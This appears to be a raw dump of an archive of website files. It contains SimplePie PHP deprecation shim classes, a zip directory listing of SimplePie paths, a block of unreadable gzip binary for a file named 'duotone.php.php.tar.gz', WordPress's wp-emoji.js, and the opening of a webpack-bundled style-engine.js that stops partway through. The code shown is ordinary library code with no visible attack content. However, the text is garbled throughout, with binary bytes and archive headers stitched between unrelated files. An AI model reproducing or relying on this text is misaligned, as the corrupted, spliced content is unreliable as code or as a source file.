 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Caption;

class_exists('SimplePie\Caption');

// @trigger_error(sprintf('Using the "SimplePie_Caption" class is deprecated since SimplePie 1.7.0, use "SimplePie\Caption" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Caption" instead */
    class SimplePie_Caption extends Caption
    {
    }
}
PKWd[�P�pr	r	library/SimplePie/Enclosure.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Enclosure;

class_exists('SimplePie\Enclosure');

// @trigger_error(sprintf('Using the "SimplePie_Enclosure" class is deprecated since SimplePie 1.7.0, use "SimplePie\Enclosure" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Enclosure" instead */
    class SimplePie_Enclosure extends Enclosure
    {
    }
}
PKWd[���O	O	library/SimplePie/Misc.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Misc;

class_exists('SimplePie\Misc');

// @trigger_error(sprintf('Using the "SimplePie_Misc" class is deprecated since SimplePie 1.7.0, use "SimplePie\Misc" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Misc" instead */
    class SimplePie_Misc extends Misc
    {
    }
}
PKWd[��d,]	]	library/SimplePie/Credit.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Credit;

class_exists('SimplePie\Credit');

// @trigger_error(sprintf('Using the "SimplePie_Credit" class is deprecated since SimplePie 1.7.0, use "SimplePie\Credit" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Credit" instead */
    class SimplePie_Credit extends Credit
    {
    }
}
PKWd[S�O	O	library/SimplePie/File.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\File;

class_exists('SimplePie\File');

// @trigger_error(sprintf('Using the "SimplePie_File" class is deprecated since SimplePie 1.7.0, use "SimplePie\File" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\File" instead */
    class SimplePie_File extends File
    {
    }
}
PKWd[27ߪ�autoloader.phpnu�[���PKWd[�ۊYCYC�src/Decode/HTML/Entities.phpnu�[���PKWd[�Uʎ�Ssrc/Restriction.phpnu�[���PKWd[�7�=�[�[
�csrc/error_lognu�[���PKWd[��M��߿src/Core.phpnu�[���PKWd[��������src/SimplePie.phpnu�[���PKWd[��B!"!"�src/Net/IPv6.phpnu�[���PKWd[�R`*;�;�C�src/IRI.phpnu�[���PKWd[k�!�!�Ksrc/Registry.phpnu�[���PKWd[w�lii�msrc/Rating.phpnu�[���PKWd[s�	�;:;:�|src/HTTP/Parser.phpnu�[���PKWd[Xzgc�c��src/Parser.phpnu�[���PKWd[
#���h�h�>src/Parse/Date.phpnu�[���PKWd[��O��$�$ܧsrc/XML/Declaration/Parser.phpnu�[���PKWd[q��k	k	�src/RegistryAware.phpnu�[���PKWd[<82��'�'��src/Gzdecode.phpnu�[���PKWd[����^�^�src/Source.phpnu�[���PKWd[DsT5b5b�]src/Sanitize.phpnu�[���PKWd[`A�%>r>ri�src/Cache/error_lognu�[���PKWd[S��{�2src/Cache/Psr16.phpnu�[���PKWd[
��q�<�<@Gsrc/Cache/MySQL.phpnu�[���PKWd[i�o���I�src/Cache/BaseDataCache.phpnu�[���PKWd[��G���src/Cache/Redis.phpnu�[���PKWd[��d����src/Cache/DB.phpnu�[���PKWd[ȷ}�*
*
 �src/Cache/CallableNameFilter.phpnu�[���PKWd[�0�j��src/Cache/Memcached.phpnu�[���PKWd[\C��$$��src/Cache/NameFilter.phpnu�[���PKWd[
�����]�src/Cache/Memcache.phpnu�[���PKWd[yt��wwrsrc/Cache/DataCache.phpnu�[���PKWd[3}��0!src/Cache/Base.phpnu�[���PKWd[�����80src/Cache/File.phpnu�[���PKWd[e<H���
vCsrc/Cache.phpnu�[���PKWd[��S���Vsrc/Exception.phpnu�[���PKWd[�T��_src/Category.phpnu�[���PKWd[�p�5J$J$qsrc/Content/Type/Sniffer.phpnu�[���PKWd[�~��src/Copyright.phpnu�[���PKWd[�7�-=-=�src/Locator.phpnu�[���PKWd[��zzl�src/Item.phpnu�[���PKWd[Z ��!!"�	src/Author.phpnu�[���PKWd[��OO��	src/Caption.phpnu�[���PKWd[�L���
src/Enclosure.phpnu�[���PKWd[��pP�
src/Misc.phpnu�[���PKWd[��۶���src/Credit.phpnu�[���PKWd[S�d�2�2��src/File.phpnu�[���PKWd[��T,,��library/error_lognu�[���PKWd[��ICIC6�library/SimplePie.phpnu�[���PKWd[~0=]]*�*library/SimplePie/Decode/HTML/Entities.phpnu�[���PKWd[Z����	�	!2�library/SimplePie/Restriction.phpnu�[���PKWd[�$�l���library/SimplePie/Core.phpnu�[���PKWd[+���g	g		�library/SimplePie/Net/IPv6.phpnu�[���PKWd[���H	H	��library/SimplePie/IRI.phpnu�[���PKWd[r#�k	k	O�library/SimplePie/Registry.phpnu�[���PKWd[!Up�]	]	�library/SimplePie/Rating.phpnu�[���PKWd[����{	{	!��library/SimplePie/HTTP/Parser.phpnu�[���PKWd[���a]	]	}�library/SimplePie/Parser.phpnu�[���PKWd[��Ӑk	k	&�library/SimplePie/gzdecode.phpnu�[���PKWd[o��s	s	 ��library/SimplePie/Parse/Date.phpnu�[���PKWd[��l�	�	,��library/SimplePie/XML/Declaration/Parser.phpnu�[���PKWd[L��]	]	��library/SimplePie/Source.phpnu�[���PKWd[4[�k	k	d�library/SimplePie/Sanitize.phpnu�[���PKWd[���z	z	!
library/SimplePie/Cache/MySQL.phpnu�[���PKWd[���vv!�
library/SimplePie/Cache/Redis.phpnu�[���PKWd[��`Cn	n	�
library/SimplePie/Cache/DB.phpnu�[���PKWd[��h�	�	%k
library/SimplePie/Cache/Memcached.phpnu�[���PKWd[N�h�	�	$V&
library/SimplePie/Cache/Memcache.phpnu�[���PKWd[^�A{	{	 90
library/SimplePie/Cache/Base.phpnu�[���PKWd[y��s	s	 :
library/SimplePie/Cache/File.phpnu�[���PKWd[���V	V	�C
library/SimplePie/Cache.phpnu�[���PKWd[�lv�	�	hM
library/SimplePie/Exception.phpnu�[���PKWd[K��
k	k	HW
library/SimplePie/Category.phpnu�[���PKWd[��uw�	�	*a
library/SimplePie/Content/Type/Sniffer.phpnu�[���PKWd[R���r	r	
k
library/SimplePie/Copyright.phpnu�[���PKWd[$��Fd	d	�t
library/SimplePie/Locator.phpnu�[���PKWd[!70tO	O	~
library/SimplePie/Item.phpnu�[���PKWd[��(�]	]	�
library/SimplePie/Author.phpnu�[���PKWd[�ْd	d	��
library/SimplePie/Caption.phpnu�[���PKWd[�P�pr	r	r�
library/SimplePie/Enclosure.phpnu�[���PKWd[���O	O	3�
library/SimplePie/Misc.phpnu�[���PKWd[��d,]	]	̮
library/SimplePie/Credit.phpnu�[���PKWd[S�O	O	u�
library/SimplePie/File.phpnu�[���PKPP[�
14338/duotone.php.php.tar.gz000064400000002612151024420100011374 0ustar00��V�n�6��W�x�عlm�n��J"ԶI�4O-�6����x��=���v�(zA"����9s���+ޟW\��?��+�R^�4�Ţ.U=��c*�Boz�\���(Ҽθ��r�~�WuY�J�~VK-�+�嫻u�����WO�A�N�N�_��=><:>������|a�7�ZiV�����D�:�7o:�M���ڢ�<g�>�)C�I�I/�"%�*����W�gĊ�V2s�ͼ�+�E��\V�A�8N�·��	p8���r�S���g�u�N�����zfO�lQ�B���Ź,7�X,5�]��*�
�0���̱H��b+6�ۈx�J	Y"Z"�ن+4�5:��p�%��!-�J^)șf�t�b�•���5CbLB�R2��ɴ^�B3m(�"����F;]K�q��(l���h���Z#�JW"505��z����J�<�fI�Z!�Ӕ�r_Y�r���R�0�ZC���V�1�eE���=�>Z���W����%ţ���y] 晍["}��W���X`�r�0A\d„�N�B��f��Ț#QH
�oLQ�b��Ԓ!��M;�2�r� ��x�1Qh�z��0�O���ң(8����#?�i|�ސv������2��	�;�o(8'wrC?���ͼ��4����t�{C���`t5�'t�I��G�7,g��{�;7(c/\B�#?�q�܏'��.M�0�W#7��U8
"N��$����\�؛�=pCF�l(�tG#K�^!��z9�7�q�e0z�yi�g#�!D�����c�³��B��x}�Y(]�
b?�$�hL���y���䜇LvaX�M�; ���5���_E޽GC�.2���E��d�G��t-�l�VTV�p�8���`��t�}
��Ԏ�G��׹�&gF�D�zz��:1S�i����j�:�w��u��fU�6����*$L��K?��F�vA1ܚѽr����R��N�;볛e��Z�{���u\ar��k���`Y�`�7
��쉵�s�X���A�<y5Ie�b�����J�V�qc
3�yu�sHm�^��5B�L��5��\.���+(�~�T#d
[dkB�X�#�˄7�(KȮ%���Ce˲��f��ͷgH�_E�džX�/�,&���H�Co��+�z6��YY�6�
��۷���G>6ո+�9|чjJoO_3�%�=rss7 ��	���S�P���?W�/���Q�V�n8x@KonĢ���v��9��ɭ`v��m���mR��x�WM!����\T�j̟�?qu,���ͱ�yF�3�Ha�'��6o�_�IoJ���f���9�V
i���$H�]�����zY/�e���o�
DV14338/wp-emoji.js.tar000064400000025000151024420100010062 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/js/wp-emoji.js000064400000021411151024231020024042 0ustar00/**
 * wp-emoji.js is used to replace emoji with images in browsers when the browser
 * doesn't support emoji natively.
 *
 * @output wp-includes/js/wp-emoji.js
 */

( function( window, settings ) {
	/**
	 * Replaces emoji with images when browsers don't support emoji.
	 *
	 * @since 4.2.0
	 * @access private
	 *
	 * @class
	 *
	 * @see  Twitter Emoji library
	 * @link https://github.com/twitter/twemoji
	 *
	 * @return {Object} The wpEmoji parse and test functions.
	 */
	function wpEmoji() {
		var MutationObserver = window.MutationObserver || window.WebKitMutationObserver || window.MozMutationObserver,

		// Compression and maintain local scope.
		document = window.document,

		// Private.
		twemoji, timer,
		loaded = false,
		count = 0,
		ie11 = window.navigator.userAgent.indexOf( 'Trident/7.0' ) > 0;

		/**
		 * Detect if the browser supports SVG.
		 *
		 * @since 4.6.0
		 * @private
		 *
		 * @see Modernizr
		 * @link https://github.com/Modernizr/Modernizr/blob/master/feature-detects/svg/asimg.js
		 *
		 * @return {boolean} True if the browser supports svg, false if not.
		 */
		function browserSupportsSvgAsImage() {
			if ( !! document.implementation.hasFeature ) {
				return document.implementation.hasFeature( 'http://www.w3.org/TR/SVG11/feature#Image', '1.1' );
			}

			// document.implementation.hasFeature is deprecated. It can be presumed
			// if future browsers remove it, the browser will support SVGs as images.
			return true;
		}

		/**
		 * Runs when the document load event is fired, so we can do our first parse of
		 * the page.
		 *
		 * Listens to all the DOM mutations and checks for added nodes that contain
		 * emoji characters and replaces those with twitter emoji images.
		 *
		 * @since 4.2.0
		 * @private
		 */
		function load() {
			if ( loaded ) {
				return;
			}

			// Ensure twemoji is available on the global window before proceeding.
			if ( typeof window.twemoji === 'undefined' ) {
				// Break if waiting for longer than 30 seconds.
				if ( count > 600 ) {
					return;
				}

				// Still waiting.
				window.clearTimeout( timer );
				timer = window.setTimeout( load, 50 );
				count++;

				return;
			}

			twemoji = window.twemoji;
			loaded = true;

			// Initialize the mutation observer, which checks all added nodes for
			// replaceable emoji characters.
			if ( MutationObserver ) {
				new MutationObserver( function( mutationRecords ) {
					var i = mutationRecords.length,
						addedNodes, removedNodes, ii, node;

					while ( i-- ) {
						addedNodes = mutationRecords[ i ].addedNodes;
						removedNodes = mutationRecords[ i ].removedNodes;
						ii = addedNodes.length;

						/*
						 * Checks if an image has been replaced by a text element
						 * with the same text as the alternate description of the replaced image.
						 * (presumably because the image could not be loaded).
						 * If it is, do absolutely nothing.
						 *
						 * Node type 3 is a TEXT_NODE.
						 *
						 * @link https://developer.mozilla.org/en-US/docs/Web/API/Node/nodeType
						 */
						if (
							ii === 1 && removedNodes.length === 1 &&
							addedNodes[0].nodeType === 3 &&
							removedNodes[0].nodeName === 'IMG' &&
							addedNodes[0].data === removedNodes[0].alt &&
							'load-failed' === removedNodes[0].getAttribute( 'data-error' )
						) {
							return;
						}

						// Loop through all the added nodes.
						while ( ii-- ) {
							node = addedNodes[ ii ];

							// Node type 3 is a TEXT_NODE.
							if ( node.nodeType === 3 ) {
								if ( ! node.parentNode ) {
									continue;
								}

								if ( ie11 ) {
									/*
									 * IE 11's implementation of MutationObserver is buggy.
									 * It unnecessarily splits text nodes when it encounters a HTML
									 * template interpolation symbol ( "{{", for example ). So, we
									 * join the text nodes back together as a work-around.
									 *
									 * Node type 3 is a TEXT_NODE.
									 */
									while( node.nextSibling && 3 === node.nextSibling.nodeType ) {
										node.nodeValue = node.nodeValue + node.nextSibling.nodeValue;
										node.parentNode.removeChild( node.nextSibling );
									}
								}

								node = node.parentNode;
							}

							if ( test( node.textContent ) ) {
								parse( node );
							}
						}
					}
				} ).observe( document.body, {
					childList: true,
					subtree: true
				} );
			}

			parse( document.body );
		}

		/**
		 * Tests if a text string contains emoji characters.
		 *
		 * @since 4.3.0
		 *
		 * @memberOf wp.emoji
		 *
		 * @param {string} text The string to test.
		 *
		 * @return {boolean} Whether the string contains emoji characters.
		 */
		function test( text ) {
			// Single char. U+20E3 to detect keycaps. U+00A9 "copyright sign" and U+00AE "registered sign" not included.
			var single = /[\u203C\u2049\u20E3\u2122\u2139\u2194-\u2199\u21A9\u21AA\u2300\u231A\u231B\u2328\u2388\u23CF\u23E9-\u23F3\u23F8-\u23FA\u24C2\u25AA\u25AB\u25B6\u25C0\u25FB-\u25FE\u2600-\u2604\u260E\u2611\u2614\u2615\u2618\u261D\u2620\u2622\u2623\u2626\u262A\u262E\u262F\u2638\u2639\u263A\u2648-\u2653\u2660\u2663\u2665\u2666\u2668\u267B\u267F\u2692\u2693\u2694\u2696\u2697\u2699\u269B\u269C\u26A0\u26A1\u26AA\u26AB\u26B0\u26B1\u26BD\u26BE\u26C4\u26C5\u26C8\u26CE\u26CF\u26D1\u26D3\u26D4\u26E9\u26EA\u26F0-\u26F5\u26F7-\u26FA\u26FD\u2702\u2705\u2708-\u270D\u270F\u2712\u2714\u2716\u271D\u2721\u2728\u2733\u2734\u2744\u2747\u274C\u274E\u2753\u2754\u2755\u2757\u2763\u2764\u2795\u2796\u2797\u27A1\u27B0\u27BF\u2934\u2935\u2B05\u2B06\u2B07\u2B1B\u2B1C\u2B50\u2B55\u3030\u303D\u3297\u3299]/,
			// Surrogate pair range. Only tests for the second half.
			pair = /[\uDC00-\uDFFF]/;

			if ( text ) {
				return  pair.test( text ) || single.test( text );
			}

			return false;
		}

		/**
		 * Parses any emoji characters into Twemoji images.
		 *
		 * - When passed an element the emoji characters are replaced inline.
		 * - When passed a string the emoji characters are replaced and the result is
		 *   returned.
		 *
		 * @since 4.2.0
		 *
		 * @memberOf wp.emoji
		 *
		 * @param {HTMLElement|string} object The element or string to parse.
		 * @param {Object}             args   Additional options for Twemoji.
		 *
		 * @return {HTMLElement|string} A string where all emoji are now image tags of
		 *                              emoji. Or the element that was passed as the first argument.
		 */
		function parse( object, args ) {
			var params;

			/*
			 * If the browser has full support, twemoji is not loaded or our
			 * object is not what was expected, we do not parse anything.
			 */
			if ( settings.supports.everything || ! twemoji || ! object ||
				( 'string' !== typeof object && ( ! object.childNodes || ! object.childNodes.length ) ) ) {

				return object;
			}

			// Compose the params for the twitter emoji library.
			args = args || {};
			params = {
				base: browserSupportsSvgAsImage() ? settings.svgUrl : settings.baseUrl,
				ext:  browserSupportsSvgAsImage() ? settings.svgExt : settings.ext,
				className: args.className || 'emoji',
				callback: function( icon, options ) {
					// Ignore some standard characters that TinyMCE recommends in its character map.
					switch ( icon ) {
						case 'a9':
						case 'ae':
						case '2122':
						case '2194':
						case '2660':
						case '2663':
						case '2665':
						case '2666':
							return false;
					}

					if ( settings.supports.everythingExceptFlag &&
						! /^1f1(?:e[6-9a-f]|f[0-9a-f])-1f1(?:e[6-9a-f]|f[0-9a-f])$/.test( icon ) && // Country flags.
						! /^(1f3f3-fe0f-200d-1f308|1f3f4-200d-2620-fe0f)$/.test( icon )             // Rainbow and pirate flags.
					) {
						return false;
					}

					return ''.concat( options.base, icon, options.ext );
				},
				attributes: function() {
					return {
						role: 'img'
					};
				},
				onerror: function() {
					if ( twemoji.parentNode ) {
						this.setAttribute( 'data-error', 'load-failed' );
						twemoji.parentNode.replaceChild( document.createTextNode( twemoji.alt ), twemoji );
					}
				},
				doNotParse: function( node ) {
					if (
						node &&
						node.className &&
						typeof node.className === 'string' &&
						node.className.indexOf( 'wp-exclude-emoji' ) !== -1
					) {
						// Do not parse this node. Emojis will not be replaced in this node and all sub-nodes.
						return true;
					}

					return false;
				}
			};

			if ( typeof args.imgAttr === 'object' ) {
				params.attributes = function() {
					return args.imgAttr;
				};
			}

			return twemoji.parse( object, params );
		}

		/**
		 * Initialize our emoji support, and set up listeners.
		 */
		if ( settings ) {
			if ( settings.DOMReady ) {
				load();
			} else {
				settings.readyCallback = load;
			}
		}

		return {
			parse: parse,
			test: test
		};
	}

	window.wp = window.wp || {};

	/**
	 * @namespace wp.emoji
	 */
	window.wp.emoji = new wpEmoji();

} )( window, window._wpemojiSettings );
14338/style-engine.js.tar000064400000122000151024420100010734 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/js/dist/style-engine.js000064400000116104151024362000025670 0ustar00/******/ (() => { // webpackBootstrap
/******/ 	"use strict";
/******/ 	// The require scope
/******/ 	var __webpack_require__ = {};
/******/ 	
/************************************************************************/
/******/ 	/* webpack/runtime/define property getters */
/******/ 	(() => {
/******/ 		// define getter functions for harmony exports
/******/ 		__webpack_require__.d = (exports, definition) => {
/******/ 			for(var key in definition) {
/******/ 				if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {
/******/ 					Object.defineProperty(exports, key, { enumerable: true, get: definition[key] });
/******/ 				}
/******/ 			}
/******/ 		};
/******/ 	})();
/******/ 	
/******/ 	/* webpack/runtime/hasOwnProperty shorthand */
/******/ 	(() => {
/******/ 		__webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop))
/******/ 	})();
/******/ 	
/******/ 	/* webpack/runtime/make namespace object */
/******/ 	(() => {
/******/ 		// define __esModule on exports
/******/ 		__webpack_require__.r = (exports) => {
/******/ 			if(typeof Symbol !== 'undefined' && Symbol.toStringTag) {
/******/ 				Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });
/******/ 			}
/******/ 			Object.defineProperty(exports, '__esModule', { value: true });
/******/ 		};
/******/ 	})();
/******/ 	
/************************************************************************/
var __webpack_exports__ = {};
// ESM COMPAT FLAG
__webpack_require__.r(__webpack_exports__);

// EXPORTS
__webpack_require__.d(__webpack_exports__, {
  compileCSS: () => (/* binding */ compileCSS),
  getCSSRules: () => (/* binding */ getCSSRules),
  getCSSValueFromRawStyle: () => (/* reexport */ getCSSValueFromRawStyle)
});

;// ./node_modules/tslib/tslib.es6.mjs
/******************************************************************************
Copyright (c) Microsoft Corporation.

Permission to use, copy, modify, and/or distribute this software for any
purpose with or without fee is hereby granted.

THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH
REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,
INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR
OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
PERFORMANCE OF THIS SOFTWARE.
***************************************************************************** */
/* global Reflect, Promise, SuppressedError, Symbol, Iterator */

var extendStatics = function(d, b) {
  extendStatics = Object.setPrototypeOf ||
      ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||
      function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };
  return extendStatics(d, b);
};

